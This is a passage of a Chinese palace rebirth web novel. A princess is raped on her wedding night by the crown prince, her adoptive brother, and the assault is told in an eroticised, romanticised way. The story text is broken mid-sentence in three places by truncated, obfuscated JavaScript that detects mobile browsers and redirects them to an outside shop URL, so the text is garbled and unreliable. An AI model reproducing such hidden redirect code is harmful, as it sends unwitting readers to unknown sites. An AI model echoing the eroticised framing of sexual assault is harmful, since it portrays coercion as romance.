《重生后被太子强取豪夺了》 1. 第 1 章 永元十四年,九月十七,小吉,宜嫁娶。 高耸的宫墙被凛冽的秋雨打成一片灰褐,揉碎在寂寥的夜色中。 黑云密布,细密不绝的雨水落在嫣红的轿辇上,帷帘轿封上徒留噪杂的捶打声惹人好梦。 赵清漓醒来的时候头仍觉得有些昏沉,摇摇晃晃的轿辇内,触目皆是醒人的红色。 这是她的花轿。 是了,今天是她出嫁的日子。 钦天寺从未说过今日会有如此大的暴雨,早知如此便让父皇另择一个好日子了,现在看来真是晦气。上轿前无非是喝了口春桃递来的茶,竟一下就睡到这个时辰。 ......对了,现在是什么时辰了? 赵清漓忍着头痛伸出手,皓白的腕子同嫁衣鲜艳的红形成强烈对比,玉指缓缓靠近轿帷,忽而轿身一阵剧烈晃动,花轿落地。 轿辇外,鞋底踩在积水中啪嗒作响,凌乱了不过片刻便重新归于平静,只剩雨声。 雨水打湿的帷幔格外沉重,赵清漓掀起时都觉得有些费劲。直到她从轿辇中下来,空中惊雷在她耳畔轰轰的响,继而一道骤亮在夜空撕开一道裂口,她才发觉自己仍身在皇城。 花轿之外三丈处,漆黑的长影与黑暗几乎融为一体。 大殿阶前,宫廷之中,唯有花轿、两人,和满地快要被雨水浸烂的无数死人。 赵清漓站在雨中看不真切。 而那人就这么立在那,嫌恶地一脚踢开横在前方的尸身,赵清漓觉得阴影中似乎有双眼睛锁在她身上了。 随后那道身影微微顿住,缓步向她靠近。 赵清漓看到他提着长剑,剑锋上滴答滴答落下的不知是雨水还是鲜血。 赵家......遭难了? 周砚枕呢? 父皇、母后、太子哥哥......他们在哪? 想到这里,那道高挑漆黑的身影已经来到面前,面上被铜色的面具遮挡的严严实实。 那人看了她一会儿,动作迟缓地抬起长剑。 越发嘈乱的雨声中,赵清漓听到男人缥缈的声音:“......最后一个。” —————— 寒影掠过,透白染澈混沌的夜。 赵清漓陡然惊醒,眼前仍是漆黑一片。 但她很快反应过来,眼前的漆黑并非别的,而是她的双眼正被厚重的红盖头遮挡。 赵清漓猛地扯下,她慌乱地打量四周环境,却发觉此刻正身处自己的寝宫。 方才那是......梦? 赵清漓摸摸脖颈,那一剑穿喉的恐惧实在不像梦境,太过真实。 可她现在分明好好的坐在这里。 对了,她为什么会坐在自己的寝殿? 春桃进来服侍,一推门便看到赵清漓自行掀了盖头坐在床边发呆,吓了一跳,慌慌张张小跑过去:“公主!您怎么能自己掀去喜盖呢!这不吉利!” “春桃?”赵清漓迷迷糊糊的,“你怎么在这里?” 春桃哭笑不得,一边拾起被扔在地上的红盖头,“公主可是被外头打雷作闪的给吓着了?今日是您和驸马爷成亲的日子呀!” “是......周砚枕?” 周砚枕是今年的新科状元,仪表不凡,文采斐然,她十分中意,这才由父皇赐婚,下嫁于他。 “是呀。”春桃觉得公主一定是被吓糊涂了,仔细把窗子尽数闭紧,嘴里念叨着,“还好公主是留在宫里成婚,驸马爷家的宅子那么远,公主身子这般矜贵,可经不起那折腾,您说是吧?” 是啊,周砚枕家境贫寒,若非高中状元,如何能有机会进宫。后来又因太子惜才,这才有了不错的宅院,可惜离皇宫还是很远。 “昨夜母后还叮嘱我嫁出去后不要太过娇纵,为何今日又突然决定不让我外嫁,这些事情为何我半分都不知晓?” 赵清漓揉了揉太阳穴,脑袋还残留些昏沉的感觉。 春桃解释:“公主上轿后,圣上传了道急圣,说钦天寺监测天象所知今夜暴雨,为了公主安全,还是留在宫中为好。” 说罢,春桃将倒好的茶盏欠身献上:“公主,喝点茶水吧。” 金铸的杯盏闯进视线,茶水微黄,与金壁同色,唯有水面因为手上动作泛起一圈一圈涟漪。 赵清漓看得眼眶发晕,内心却逐渐平息下来。 她方才的确是睡着的。 赵清漓抬眸:“我方才睡着了?” 冰冷的目光落在春桃脸上,却看不出对方丝毫破绽。 春桃疑惑地眨眨眼,托着杯盏的动作保持不变:“是呀,公主一上轿就累的睡着了,您瞧外头的天色都已经快要入夜了。” 春桃一副毫不知情的样子看起来的确无辜,但赵清漓不敢再喝她送来的茶水,面无表情地别开脸:“周砚枕呢?” “驸马爷还在殿外同宾客饮酒,公主别急,奴婢再去催催。”春桃放下茶盏,捡起床边放着的红盖头抻开,垂下头恭敬奉上,“红盖头是要由新郎官亲手揭下的,公主还是先盖上吧。” 赵清漓盯着她虔诚的姿势顿了一会儿,“嗯”了一声,一脸倦态地摆摆手,仍是没接过春桃递来的红盖头:“知道了,你先出去吧。” 众所周知,当朝皇后孟毓宁有个颇负盛名的妹妹名唤孟宸宁,永元帝对她一见倾心,可惜那时的孟宸宁已为人妻,姐姐孟毓宁又已经嫁于永元帝为太子妃,对永元帝来说注定只能是一场没有结果的感情。 后来孟宸宁难产去世,夫君也一道殉了情,只留下襁褓中的女婴孤苦无依。 越是爱而不得,越是爱屋及乌,永元帝亲封赵清漓为公主,从此视如己出。 十四年间,打宫里头不知送出去了多少公主远嫁和亲,唯独赵清漓,永元帝一直没舍得。长此以往,整座皇宫也只剩下这么一位公主了。 公主不参与夺嫡,也不会牵扯妃嫔们的利益,左不过是消耗些宫中的吃穿用度,没什么打紧。加之圣上对其十分看重,所以后宫其他妃嫔对她也是颇为宠爱。 春桃不敢忤逆,低声应下,垂着头缓缓退了出去。 朱红的描金宫门缓缓合上,殿门边鎏金灯架上的喜烛摇曳几下,烛火惊出几行红泪,瑟瑟发抖后归于平静。 赵清漓捏着喜帕,质地厚重的云锦随着她的步伐顺着台阶平铺直下,素日常用的铜镜也被帖上双喜剪字,铜镜中的女子簪着金凤点翠步摇,面若脂玉而绛唇轻点,生得一副倾城之姿,与她梦里出嫁时一般模样。 不,不是梦。 是她先置死地而后生,并且回到了仿佛还在眼前的那一夜。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999020|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 若按照原本的发展,醒来的她应在皇宫殿前,而且再过不久就要死了。 那一剑穿喉的威力着实厉害,直到现在仍让人觉得喉头发紧。 可赵清漓想不通,为什么她重生了,现实却改变了? 外头的雨势如倾盆,紧闭的窗外偶有霍闪将夜撕开一道又一道口子,震聋发聩。 赵清漓在寝殿来回踱步,既然现实已经发生了改变,是否她已经逃脱了必死的绝路,可那个提剑的男人又是谁,为什么要杀她。 还有,父皇他们是不是也已经遇害,皇兄他们是不是也都不在了,难道赵氏皇族真的被屠杀满门了? ...... 太多太多的疑问,赵清漓都无法立刻想通。 殿外由远及近的脚步声慢慢映入耳畔,一前一后,一快一慢。 长靴厚底踩着石板的声音掷地有力,一听就是男子的脚步声,缓缓踏步而来。而另一个脚步声则带着紧凑,又轻又快,应是跟在身后的婢女。 果然,外殿廊上很快传来春桃唯唯诺诺的声音:“公主殿下自小就害怕打雷,今夜雨势这么大,方才像是惊着了,是否需要奴婢先去瞧瞧情况?” 另一人没答话,春桃又开口了,这次的声音显然带了几分颤抖:“是奴婢多嘴了,奴婢这就去开门。” 是周砚枕吗? 差点忘了,此时的她还是个待嫁公主,或许马上就要洞房花烛,而她方才乱了阵脚,险些毁了自己的婚事。 赵清漓忙提起裙边,三两步来到床榻边坐下,胡乱抓起被丢在一旁的红盖头搭在发冠之上。 红绸之下,步摇和髻上的发丝勾连,缠绕出失措的弧度,皱起的衣摆也来不及整理,一双雪色的柔荑攥着光滑的衣料,掌心紧张的泛红竟和嫁衣颜色愈发相近。 赵清漓勉强收拾完毕,那边房门立刻应声而开。 春桃站在门外并未进来:“那......奴婢先告退了。” 朱门挂起一阵秋雨的凉意,接着紧紧闭上。 赵清漓很紧张。 来人先是在门处站了一会儿,接着抬起脚,步伐迟缓的很,像是知晓她心口的跳动故意在门前徘徊,又像是......和她一样紧张。 忽然,赵清漓听到对方鼻腔溢出一声嗤笑,声音很轻很轻,轻到几乎可以认为只是一丝气声,转瞬即逝,飘散的干干净净。 一对玄色的鞋尖陡然出现在她垂下的视线中,鞋尖两侧面上勾着红浪金纹,绯红的衣角在她目光所及之处若隐若现。 心头跳动越来越烈,一只骨节分明的手赫然探入她的盖头之下,玉样的颜色宛如画笔描绘勾勒而出的,捏起她头顶红绸的一角,缓缓掀起。 赵清漓的视线随着那只手的动作一点一点上移,直到清晰的瞧见他鲜红的蟒袍,玉带环绕的窄腰,挺直修长的脖颈,神功雕琢的下颌,以及微微勾着的唇角。 他突然撒手,暗影再次覆盖赵清漓的视线,而她的心却跳的更加厉害。 那双薄唇她并不陌生,不是周砚枕的,而是来自另一个与她日日相见的人。 攥得发白的指尖出卖了赵清漓的慌张无措,他似乎很满意,轻笑一声,唇角的温度几乎要烫伤她,蛊惑的声音与她柔软的耳廓只有一层之隔。 “皇妹,万安。” 2. 第 2 章 赵清漓一把扯下发冠上碍人眼目的鲜红盖头,动作幅度之大,冠上的红珠同耳垂挂着的玛瑙金坠叮当乱撞,发出清脆的声音。 “太子哥哥?” 赵清漓惊诧,但语调中的困惑更甚。 这个穿得像新郎官一样的男人正是她名义上的皇兄,赵辞。 也是除了父皇和母后之外众多皇兄中待她最好的皇兄,赵辞。 赵辞稍将身子向后撤回几分,居高临下地看着她。 明色的翼善冠稳衬发间,朱红的蟒袍同他修长的身形十分合衬。剑眉入鬓,凤眼微挑,薄唇微微勾着,眸中带着逗弄之色。 他不该在这个时候出现在她的寝殿。 赵清漓起身,望了一眼紧闭的殿门:“太子哥哥怎么来了,周砚枕呢?” 红翡念珠在拇指与食指间打了个转儿,赵辞垂下眼睫,眸光在烛火朦胧的寝殿中看起来晦暗不明。 “皇妹就这么惦记他?” 虽然周砚枕是名副其实的状元郎,但说句不好听的,周砚枕性子直,又是初入仕途,不懂得官场那些弯弯绕绕,再加上他一贫如洗,也没能力去奉承别人。若非赵辞慧眼识珠,凭周砚枕的年岁断不可能坐上这御史中丞的位置。 可以说,周砚枕是被赵辞一手提携上来的。 与周砚枕初识时,赵清漓只觉得他好看,生得一张谪仙一般的脸,还有着谪仙一般不可亲近的性子,还是赵辞看出她的女儿心思,明里暗里为他们制造机遇,从中帮衬了不少。 十分尽心,说是赵辞一手促成两人的好事也不为过。 这话问的蹊跷,赵清漓听不懂。 但眼前是她最亲近的太子哥哥,所以赵清漓回答的也直白:“他是驸马,是清漓的夫君,清漓自然惦记。” 赵辞面上表情僵硬了一瞬,幽幽道:“也是,今夜皇妹大婚,还没祝贺皇妹终于嫁得如意郎君。” 赵清漓哪里有闲情逸致管他话中深意。 幸而如今太子哥哥还能完整的出现在她眼前,那么父皇一定也安然无恙。 劫后余生的庆幸让她无暇顾及这些细节,重活一世,唯有好好活着,找出叛乱的凶手,守护自己的家人。 赵清漓发自内心地笑了笑:“清漓还能见到太子哥哥就好了。” 赵辞眉梢轻轻挑起:“皇妹也惦记我?” “皇妹惦记我,我很开心,也罢,今夜好好陪陪你便是了。”说罢,他掀起衣摆,竟是直接坐下了。 他说话的方式有些怪异,弯弯绕绕意有所指似的,总觉得与平日不大一样。 发生改变的不止她死去的结局,似乎还有别的。 赵辞身上的异样带来的不安让赵清漓不自觉后退半步:“周......驸马就要回来了,太子哥哥在这里恐怕不便,要不还是......” 隐晦的提醒并未撼动赵辞半分,他抬起下巴,目光牢牢锁着赵清漓:“驸马不是已经在这了吗?” “太子哥哥在开什么玩笑?” 赵清漓默默朝门边退,却被赵辞一把捏住手腕。 “皇妹若是要找周砚枕,他已经醉了歇下了,皇妹若是要找驸马——”赵辞拉着她的手腕缓缓收紧,转眼已经将人带至怀里,“我的好皇妹,驸马已经站在你面前了。” “太子哥哥!” 记忆中的太子哥哥待她宽厚、温和,如同一母同胞的亲妹妹一样,眼前的赵辞却只让她感到陌生,恐惧。 赵清漓被按在他的胸前,任凭她她奋力推搡却悍然不动。 她努力沉住心底的怒气,尽量把语气放得平和:“太子哥哥是不是忘了,你是当朝太子,我是当朝公主。” 赵辞嗤笑:“莫非清漓唤了我几年兄长,真当你我二人是兄妹了?” 寻常人或许都以为她是大历尊贵的公主,但皇室一族人人心里都清楚她赵清漓并非皇室血脉。 赵清漓冷冷望着他,一字一句提醒:“你是不是忘了,周砚枕是你——” “清漓。”赵辞眉头微锁,表情不耐地打断,“这么好的日子,莫要惹我生气。” 话音刚落,捏着她细腕的长指调转个方向,转瞬落在她腰际,还没等她反应过来,下一刻便被赵辞打横抱起,朝着床榻走去。 红帷纱帐,赤色喜被。 饶是现下赵清漓脑子再不清楚,也知道他想做些什么。 “赵辞!放开我!”赵清漓挣扎着,在空中扑腾的小腿显得又可怜又无力。 “春桃——来人啊啊——” 尾音在空气中打了个转,是她被丢在冰凉的褥上,锦被上软丝金线绣成大片吉祥纹样,被赵清漓头顶的凤冠勾住,稍一动弹,满髻纷乱。 赵辞覆在她身上,鼻尖若有似无地蹭着她的侧脸,语调凛冽而蛊人:“皇妹尽管叫便是,不过我劝你还是省些力气,免得待会声音喑哑,惹我心烦。” 他的话说的既露骨又刻意,手上也逐渐不安分起来,不知什么时候已经扯下她的外裳,小指在腰间随意一勾,襟带顺着榻边滑下,闷声落在地上。 娇软的腰肢不堪一握,隔着衣物也能让人心猿意马。 赵辞沉声:“清漓,夜色已深。” 暗示的话语伴着轻吻落在赵清漓的耳廓,双唇微启,舌尖探出在她雪色的耳垂滑过,像是提醒她别再做无谓的反抗。 赵清漓的心彻底沉了下去。 方才她叫的如此大声,她不信春桃听不到,更不信大婚当日外头连个守门做准备的人都没有。 什么喜宴、什么宾客。 今晚,是死局。 “你喜欢我?”赵清漓抬眸。 任由他一件一件扯下自己的喜服,在她的肩颈留下齿痕。现在的赵清漓,宛若砧板上待刀的鱼儿,离了水后什么都做不了。 一声轻笑溢出鼻尖,赵辞撑起半身,手肘支在她的侧脸,一下一下摩挲着赵清漓的侧脸:“清漓不是也说过最喜欢我了?” “清漓还说,此生一定要嫁给像三皇兄这样的人,难道也忘了?” 赵清漓盯着他,放轻了语气,妄图勾出他的愧疚:“深宫相伴十载有余,我把太子哥哥当做自己的亲人,你应该明白我什么意思。” 今夜之前,赵辞还是她心中最敬重,最喜爱的兄长,而如今她敬重之人亲却行着这样的苟且之事,被他触碰亲吻,赵清漓只觉得恶心。 赵辞显然没把她的话听进去,任由她白费口舌,只当作耳旁风罢了。 赵清漓还想挣扎一下:“你就不怕父皇和母后怪罪?” 要知道,永元帝对她的圣宠无人不知无人不晓,若她将此事告发,纵然赵辞身居太子高位,永元帝未必不会对他发难。 将亲生儿子送进绝路,他不是没做过。 “皇妹这是在威胁我?”说完,他嘲讽似的笑出声,站起身来兀自解开自己的衣裳,“无妨,你尽管试试。” —————— 赵清漓睁开眼,看到的还是春桃那张熟悉的脸,她正拿着软帕替自己擦洗身子。 自小侍奉自己的拂玉在年满二十五岁那年被放出宫去,兴许这会都已经嫁人了,春桃则是接替拂玉来的,到现在入宫也有三年多了。 三年对于宫里的女子虽然算不上久,但赵清漓扪心自问从没有什么对不住她的地方,今时之景,她只觉得心中寒凉。 “嘶......” 赵清漓低头,脂玉颜色的两条双腿上有几块淤青,这都不打紧,大腿内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999021|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧的指印和啃咬痕迹却触目惊心。 赵清漓顾不上羞赧,或者说恶心的感觉已经超出女儿家的羞耻心。 与自己同父异母的兄长行苟且之事,实在有违伦理。 春桃见状掩嘴笑道:“驸马爷看起来斯斯文文的,没想到这么不会怜香惜玉。” “驸马?”赵清漓仰着头重复了一遍,声音有气无力的。 听到这个称谓的时候,赵清漓脑海中一闪而过的不是周砚枕,而是赵辞张狂轻佻的神情,过了好一会儿才缓过神来。 春桃搀扶着她下了软塌,凌乱的床面昭示着昨夜种种。 铜镜前,醒目的喜字还未揭去。窗棂缝隙透过的阳光映在镜面上,镜中映照的点点红痕,一路从耳后向下延伸至胸口的画面也更加清晰。 春桃看起来什么都不知道,一边为她整理衣裳,一边详细说着大婚之后的事宜,诸如一些请安之类的礼节。 赵清漓不想听这个,反正礼节是否到位都不过是个形式而已,她做什么都没人会怪罪。 “我不想去。”赵清漓心不在焉地说道,“你去告诉父皇母后他们,说我身体不舒服。” 春桃为难道:“可是驸马下了朝就要来接您了,这会儿估摸着已经在路上了。” “驸马?”赵清漓眸光闪了一下,又重复了一遍这两个字,继而暗淡下去。 她也不想见周砚枕。 她这副样子如何能见周砚枕? 人有时候就是这样,越担心什么,偏要来什么。 殿外洒扫的宫仆喊了一声:“驸马爷回来了!” 路上几人循声望去,毕恭毕敬道:“请驸马爷安。” 门外的脚步声不急不缓,踏着金砖缓缓而来,门庭从外头被人推开,赵清漓身形猛地僵住,却听得她朝思暮想的声音说道:“久等了,清漓。” 月白里衬的靛紫朝服在晨光中流转出暗雅光泽,腰间墨色玉带衬得人身姿挺拔俊朗。如画的眉眼一如她记忆中的仙人之姿,就连袍角的几分褶皱都沾染着清雅的气质。 赵清漓一回头,就瞧见周砚枕站在她身后咫尺的地方淡淡笑着,竟险些落下泪来。 她很想质问周砚枕为什么现在才回来,为什么昨晚放任那样的事情发生,这一夜他到底去了哪里。 强忍着鼻间酸涩,赵清漓眼圈儿泛着红,朦胧的雾气在眼眶蔓延,活像只受了委屈的兔子模样。 周砚枕见状不忍,抬起衣袖想要为她擦拭。 赵清漓却被他的动作一惊,心虚之下仓惶退了一步跌落在方凳上。 嘶—— 下身的不适痛的她眉头紧锁。 “清漓!”周砚枕关切地上前,半蹲在她面前,叹一口气:“怪我不好,是我昨晚失了分寸。” 赵清漓一怔,木讷地张嘴:“你、你说什么?” 周砚枕望着她,修长干净的手指从袖口探出,缓缓伸向她颈间衣领掩饰不住的红痕,在即将触碰之时又迅速抽回了手。 他笑了笑:“实在不想去便在房里休息吧,圣上那里我会去解释,清漓不必担心。” 为何......为何他只字不提昨天的事? 赵清漓一把握住他的手,急道:“你去了哪里!” 周砚枕眼中看似不解和疑惑,理所当然道:“自然是去上朝了。” 说罢,他还垂头看了一眼自己还未来得及换下的官袍:“可是我回来晚了,清漓不高兴了?” 可赵清漓问的不是这个:“昨夜——” “昨夜被祝贺的宾客多灌了几杯,弄伤了你,实在是我的不是。”周砚枕反手轻轻握住她的,满含歉意的表情看不出丝毫破绽。 “清漓,别生我气了,好吗?” 3. 第 3 章 是她疯了,还是她真的在做梦。 难道昨夜和她纠缠在一起的根本就是周砚枕? 那赵辞呢? “清漓、清漓?”周砚枕握着她的手关切地唤了两声,“发什么呆?” “周砚枕......” 赵清漓实在不知道该从何说起,若是照实说了,他会不会以为自己在发癔症。 眼下这情景,赵清漓倒是真觉得自己在发癔症。 惶恐、不安和后怕在她心底扎了根,快速生长蔓延着,惹得赵清漓不由自主颤抖起来。 周砚枕察觉到她的不适,宽慰地在她手背上轻拍两下,笑意温和:“我在。” 若只有春桃一个也就罢了,赵清漓觉得许是她在演戏。周砚枕也是如此,这事情便怪了。赵清漓当真怨也不知去怨谁,骂也不知去骂谁,开口也不是,闭口也不是。 末了,她只能放弃地垂下头,暗自深吸一口气,语气缓和道:“我没有生气,就是觉得太累了。” 周砚枕放心下来,便道:“那你好好在房里休息,我一人去见圣上就好,不打紧的。” 赵清漓摇头:“不要,我和你一起去见父皇。” 周砚枕无奈地笑笑,将她鬓边掉落的碎发整理好,哄道:“真拿你没办法。” 换下朝服,一身月白长袍的周砚枕看起来少了些严肃正经,也多了些亲和。 遣走一旁的春桃,周砚枕和她携手缓步而行,深宫里的一砖一瓦没有丝毫改变,在赵清漓眼中却恍若隔世。 池边的桂花树弥漫着浓郁的桂花香气,黄白的花穗洒在池面上飘荡,远看着如同夜晚空中星辰点点。 燕雀在檐下盘旋一圈儿南去,秋风微凉,阳光大好,今日是九月十八,也是吉日。 熟悉的环境让赵清漓心中渐渐多了实感,一路走来,宫里的太监丫鬟一如往日一般向她们行礼问安,路途不远,很快就来到露华殿。 新婚夫妇一同来问安,永元帝既是欣慰又是高兴。 永元帝爱怜地拉着她的手:“朕不是跟你说过不必在意这些礼节,怎么不在宫里好好歇着?” 周砚枕在一旁道:“是清漓说她虽得圣上偏爱,但身为一宫之主,不能坏了宫中规矩。” 永元帝赞许地看了他一眼,对赵清漓道:“不错,我儿慧眼如炬,和周中丞在一起,人也变得懂事了!” 这时,长伴圣驾的太监来报:“圣上,太子殿下来了。” 赵清漓肩头一颤,周砚枕疑惑地看了她一眼,小声问:“怎么了?” 强掩着胃里的不适,赵清漓轻轻摇头,艰难地咽了咽口水,回应道:“没事。” 她抬头望向永元帝:“父皇和皇兄有国事要商议,我和驸马在这里多有不便,不如我们先去问母后安好。” 永元帝倒是有点诧异:“平日你同澜之最为要好,怎么今天同他连招呼都不打便要走?” 话音还没落,赵辞已然进来了。 赵清漓抬头,正对上他回望过来的眼神,她心下一紧,忙垂头避开,但还是跟着周砚枕敷衍地问了声“皇兄安好”。 赵辞微沉的声音带着疑惑:“皇妹今日这是怎么了,好端端的怎么唤起了皇兄,不叫我太子哥哥了?” 赵清漓闻言缓缓抬起头,带着怯意的水眸再次迎上他的,却见赵辞一脸的坦然,看向她的目光一如往常。 赵清漓再次顿住,脸色苍白。 永元帝笑呵呵地走近,并没注意到她的异常,还拍拍两人肩膀,打破这短暂的尬尴。 “许是清漓知晓自己已经嫁人,也知道注意礼数了。” “也罢,你们先去向你母后请安,小夫妻新婚,还是多些独处时间培养感情的好。” 赵清漓谢过永元帝,扯起周砚枕的袖子便要走。不论心虚还是如何,她一刻都不想在这里多做停留。 “皇妹。”赵辞叫住她。 赵清漓低头错开目光,音色有点僵硬:“皇兄还有何事?” 赵辞笑着道:“莫怪为兄不通人情,我与父皇商议之事还需听听周中丞的想法,只能辛苦皇妹自己去向母后请安了。” 这话分寸拿捏的极好,赵清漓越发觉得自己真是个发癔症的疯子,竟然如此怀疑自己的兄长,不由得放缓语气:“不打紧,国事为重,母后的寝宫离这里不远,我自己去便是。” 赵辞点点头,攥着念珠的手指轻轻摩挲,脸上挂着关怀:“我瞧皇妹脸色不好,许是累着了,请完安就早些回去休息吧。” 赵清漓挤出一丝笑来,应了声:“好。” 身后,露华殿的大门被侍卫一齐阖上,赵清漓回头望时,几人皆已落座,这番景象在她眼里并不违和。 永元帝还是太子时,孟毓宁虽不是最早入府,却是唯一的正妃。同别的妃嫔相比,她性情温和、最识大体,最重要的是和赵清漓的生母长相相似。永元帝对她虽然算不上有多宠爱,但却十年如一日的相敬如宾,这也着实可贵。 紫檀木镶螺钿的座椅上,满绣的锦缎坐垫上流苏垂落,缠枝莲纹的落地宫灯刚剪了烛芯,灯罩上彩绘的山水看起来更加朦胧。 偏殿处,赵清漓神色恹恹地听着皇后说话,耳边一句也没落进去。皇后倒也不恼,悄悄噤声坐在一旁瞧着她,满脸的慈爱。 皇后曾育有一位皇子,若能活到现在也是而立之年了,只可惜那位大皇子命数不好,幼时便早早离世,而皇后也因此伤心郁结,许多年都没有皇嗣。那段时间,赵清漓就像她的女儿。 按照常理,赵清漓该唤她声姨母,但毕竟人多口杂,平日里便以“母后”作称,时间久了倒也习惯了。 直到殿外侍候的宫女估摸着时间差不多了,端着新泡的碧螺春来换去凉透的茶盏,赵清漓才发现自己已经出神许久。 皇后扬手摈退了宫女,目光落在她纤细的颈项上,随意打量一眼便了解几分。 “你若实在不舒服,好好歇着就是,无需来我这里走这些过场。”皇后的声音温柔悦耳,补充道,“清漓,女子婚嫁,许多事都是无可避免的,在我这里你不必勉强。” 赵清漓知道皇后定是会错意了,可惜自己的心事又不能全盘向她拖出,只得盯着自己的鞋尖含糊答应两声,心中惴惴不安。 算了,不想这些了。 赵清漓拾起笑:“母后别说我了,十弟呢?近日可有好好学习功课?” 想起自己年仅七岁的幼子,皇后脸上漾起笑意:“绩儿年纪还小,正是贪玩的时候,好在太子贤德,有他为你父皇分忧,旁人倒是可以偷个懒了。” 一提起赵辞,赵清漓神色就有些别扭,硬着头皮附和了一句:“皇兄的才学和胆识确是几位皇兄中最出挑的。” 皇后听了也是一笑:“是啊,这孩子也算争气,庄妃泉下有知也可以安心了。” 想起庄妃,皇后心里也是一阵惋叹。 永元帝还是皇子时,大历朝内夺嫡之势正盛,若非他带兵一举攻下南靖,现在的大历也不会有如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵清漓几乎是立刻跳开,宛若见了瘟神一般退了三尺远,不可置信地指着他。 不是梦! 赵辞脸上的表情丝毫未动,懒散地微眯起眼:“怎么,皇妹这便把昨夜的事给忘了?” 字字珠玑,赵辞的每一句话每一个停顿都在提醒她,她的记忆并没有出错,昨晚发生的事都是真实的。 可为什么,为什么所有人都好像完全不知情一样,就连周砚枕......周砚枕他...... 赵清漓被冲击的脑袋轻飘飘的,脚下一软,险些晕过去。 一只手迅速自她腰际掠过,轻而易举便把她揽进臂弯,轻轻一提,转眼扣在自己怀里。 那张日日相见的熟悉的脸正挂着令她战栗的陌生的表情,像是看一个有趣的玩物,带着得意的嘲弄。 “我要罚你......”如同恶魔的低语,低沉的嗓音萦绕在她周围,不停地侵蚀她的理智。 赵清漓还是努力捡回来一丝理智,视线宽阔的肩膀之后,她的声线里带着喑哑的颤抖。 “周、砚、枕——” 仅仅两臂之隔的位置,周砚枕一袭白衣,宛若仙人迎风而立。 而他就这样看着他的新婚妻子落在他人怀抱,脸上得体的微笑像是嵌进五官,分毫未改。 直到赵清漓呀牙切齿念出他的名字,周砚枕加深了笑意,双手交叠,对着前者躬身施了一礼,道:“请公主安。” 4. 第 4 章 请公主安。 周砚枕......原来他根本就是知情者。 从始至终,被戏弄的只有她赵清漓一人! 赵辞轻笑一声,缓缓把怀里的人扶稳站好,继而转过身望向声音的来源:“周中丞。” 周砚枕还未直起的颈背稍微偏移一丝方位,正对向赵辞的位置,谦和地又拘一礼:“太子殿下万安。” 这两个人好似方才什么都没发生过一样自然又坦然地对话,赵清漓从未发现他们的演技竟然如此之好。 “周中丞倒是体贴,顶着如此烈的日光过来等她。”赵辞说完,捏着红翡念珠的双指在她肩头轻轻一推,险些将她推进周砚枕怀里。 周砚枕颔首,一板一眼道:“太子殿下说笑了,这是臣的本分,亦是......职责所在。” 赵辞面上顿了顿:“那就守好你的本分。” 周砚枕默然,目光落在正愤恨瞪着他的赵清漓脸上。他像是没看到一样,用着平日和她说话的语气,说的也是极为寻常的话语。 “清漓,回去吧。” 周砚枕伸手拉她,却被小丫头避如蛇蝎一样躲开,赵清漓眼中寒芒涌现,盯着他的眼神冷漠之至。 她甚至无比嫌恶地甩了甩衣袖,似乎这样就能抹杀干净他方才不小心的触碰。 周砚枕恍然觉得她的样子像一只......被关在笼子里的小狸奴,张牙舞爪,但都是花架子。 有趣,可怜。 赵清漓退开一步,同两个人都保持一些距离,冷然道:“我自己会走。” 说完,她留下一个决绝的背影。 良久,视线之内已瞧不见那道绯色的倩影。 赵辞瞥过周砚枕,后者漠然站在原先的位置,宛若一个旁观者,又似一个世外人,冷眼看着事态随意发展,好像都与他无关。 赵辞很满意,收回落在他身上片刻的目光,随意说道:“还不去追。” 听得有人发号施令,周砚枕仿佛从世外又重新回到凡尘,简简单单回应一个字:“好。” “嗯,哄一哄。”赵辞走出几步,侧过头又补充了一句,“你知道分寸。” —————— 公主府邸,屋内陈设被砸的稀巴烂。 除了她撼动不起的高桌和描金柜,内殿已经找不出一处规整地方。 春桃跪在地上又是哭又是劝,身后更是跪了一排丫鬟仆人。 她们不知道赵清漓今儿这是怎么了,一回来就大发脾气,什么也不说,只一个劲儿地砸。 跪在角落的夏荷眼尖,一眼就瞥到窗纸外一晃而过的人影。月白色的长袍从门槛拂过,不曾沾染一丝尘埃,这身影的主人正是周砚枕,她们的驸马爷。 像是抓着救星似的,夏荷挪着膝盖转了半圈,伏跪在地上向前来到周砚枕脚边,带着哭腔央求:“驸马爷回来就好了!您快劝劝公主吧!” 周砚枕朝云榻上抱着锦被缩成一团的模糊身影看了一眼,没露出半点意外的表情,微凉的嗓音语气平和:“你们都出去吧,这里有我。” 得了首肯,仆役们这下毫不犹豫,连滚带爬地冲出殿外,生怕晚了一步,公主殿下就会丢下一道砍脑袋的旨意。 唯有春桃没动,她也想走,但她是公主的贴身侍婢,公主没发话,侍婢不敢轻举妄动。 周砚枕扫了春桃一眼:“你也出去。” 这下春桃再没犹豫,在地上磕了头,几乎是冲出门外。 赵清漓手边没什么可砸的了,玉石木屑碎了一地,透过扯下的红帐,朦胧的人影踩着地上的碎片徐步而来,每一下带着嘎吱的声响,刺得她心脏骤痛。 “站住!” 闻声,已至红纱帐外的人驻足,当真站在那里不动了。 